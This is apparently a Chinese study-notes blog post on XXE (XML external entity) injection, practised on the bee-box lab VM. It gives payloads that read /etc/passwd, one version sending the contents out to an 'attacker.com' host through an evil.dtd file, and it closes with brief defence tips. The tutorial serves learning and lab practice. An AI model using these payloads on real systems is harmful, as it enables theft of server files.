XEE之bee-box練習

前言

下載好靶機環境打開即可bee-box
虛擬機版本直接打開就可,在使用之前會有鍵盤亂序的問題,網上有修改教程很簡單修改一下就好啦;
做實驗之前先大致介紹XEE攻擊(看了一個學習視頻總結的):

首先當然是要了解xml是什麼:
XML(extensible makeup language)擴展標記語言,是一種常用的標記語言;
和HTML相似,最大的區別就是HTML和數據相關,而xml更多與數據傳輸和存儲有關(可以存儲數值以備後用等等很多功能);

<?xml version="1.0"?>
<Person>//根元素(符合規則的xml文件必須有且只有一個根元素)
    <Name>john</Name>
    <Age>20</Age>//兩個賦值的嵌套標籤子元素name和age
</Person>//元素標籤名對大小寫敏感,<>'"不被允許直接出現在xml文檔中

但是實體可以解決這個問題: 實體是一種簡單的存儲單元,就好比xml的變量一樣,可以賦值引用
實體在文檔類型部分(DTD)被單獨定義描述,有關DTD的概念:

DTD

DTD的作用是定義 XML文檔的合法構建模塊;
1.內部聲明:
2.外部聲明(引用外部DTD):
這種機制能構建一種結構良好的xml文檔,因爲這樣講定義和數據部分區分開來,但這種功能在方便開發的同時也給攻擊主任帶來了便利;

DTD實體

DTD實體分類:
一般實體:即在其他地方發生引用;
參數實體:它必須定義在單獨的DTD區域,可以通過另外一個實體來進行定義;%是參數實體的標誌;
預定義實體;
1.內部實體聲明:<!ENTITY 實體名稱 "實體的值">
2.外部實體聲明:<!ENTITY 實體名稱 SYSTEM "URI/文件名">外部實體的標誌

XXE(外部實體注入攻擊)有多種類型

主要是帶內數據,基於錯誤,帶外數據(OOB)(類似盲注)
這裏我們來構造一個OOB的payload加強理解

<?xml version="1.0"?>
<!DOCTYPE XXE [
<!ENTITY % passwd SYSTEM "/etc/passwd">//passwd參數實體
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
%wrapper;//後半部分是通用實體
]>
<pwn>&send;</pwn>

但事實是這樣是錯的,因爲在xml中在DTD內部子集中的參數實體調用不能混慘到標記語言中,也即是說不能在實際的標記語言中來調用參數實體;
我們可以通過外部DTD繞過,

<?xml version="1.0"?>
<!DOCTYPE data  SYSTEM "http://attacker.com/evil.dtd">
<data>&send;</data>//send在哪呢
而eval.dtd得內容:
<!ENTITY % passwd SYSTEM "/etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
##%wrapper;##<!ENTITY send SYSTEM 'http://attacker.com/?contens_of_passwd'>

下面的這個例子就是帶內數據,
打開XEE的漏洞界面,可以在虛擬機下打開,也可以在你的Windows上打開(輸入你的虛擬機的IP即可)

在這裏插入圖片描述
首先要知道怎麼判斷是否存在XXE漏洞
這裏是非blind的XEE,我們抓包來查看數據傳輸的情況:在這裏插入圖片描述
很明顯抓包後多了一個XML的按鈕,又看到Content-type第七行XML的文件類型,接下來分析報文,可以看到xxe-1.php頁面以post方式向xxe-2.php頁面傳輸了XML數據,說明可能存在XXE攻擊,注入payload進行測試;
這樣就可以構造一個惡意外部實體,然後在原本的XML數據中進行實體調用,來進行XXE攻擊。
將抓到的包發送到repeater,構造payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">
]>
<reset>
  <login>&b;</login>
  <secret>login</secret>
</reset>

這裏要注意的是隻是修改,比如login標籤就不能隨便刪除,當數據傳到後臺,後臺找不到原來的login標籤payload最後是不能執行成功的。
在這裏插入圖片描述
看到響應包中出現了我們想查找的文件內容;

如何防禦XXE呢?

1.根據攻擊的思路,禁用xml外部實體
2.規定黑名單或者白名單
-----------------------------------------------初識XXE的筆記

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章